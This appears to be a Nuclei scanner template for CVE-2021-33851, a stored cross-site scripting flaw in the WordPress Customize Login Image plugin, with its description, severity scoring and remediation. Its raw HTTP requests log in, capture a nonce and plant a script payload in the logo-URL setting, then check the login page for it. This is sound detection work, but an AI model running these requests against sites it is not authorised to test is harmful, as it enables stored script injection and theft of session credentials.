WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2021-33851
info:
name: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
author: 8authur
severity: medium
description: |
WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts in the context of the victim's browser.
remediation: |
Update to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
- https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
- https://wordpress.org/plugins/customize-login-image/
- https://nvd.nist.gov/vuln/detail/cve-2021-33851
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-33851
cwe-id: CWE-79
epss-score: 0.06206
epss-percentile: 0.9051
cpe: cpe:2.3:a:apasionados:customize_login_image:3.4:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: apasionados
product: customize_login_image
framework: wordpress
tags: cve,cve2021,wpscan,wordpress,customize-login-image,wp,authenticated,wp-plugin,xss,apasionados
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option_page=customize-login-image-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_4 == 200'
- 'contains(header_4, "text/html")'
- 'contains(body_4, "Go to <script>alert(document.domain)</script>")'
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
internal: true
part: body
# digest: 490a0046304402207d18ac2d1276f3ffd0fa57ad7945eb5e987eadec4496bf7da5d3597cb391a586022002f2e0af756d78ba1e287fedbe9cad7d03d643d7da4766f0ce0700ebbbd8c1d8:922c64590222798bb761d5b6d8e72950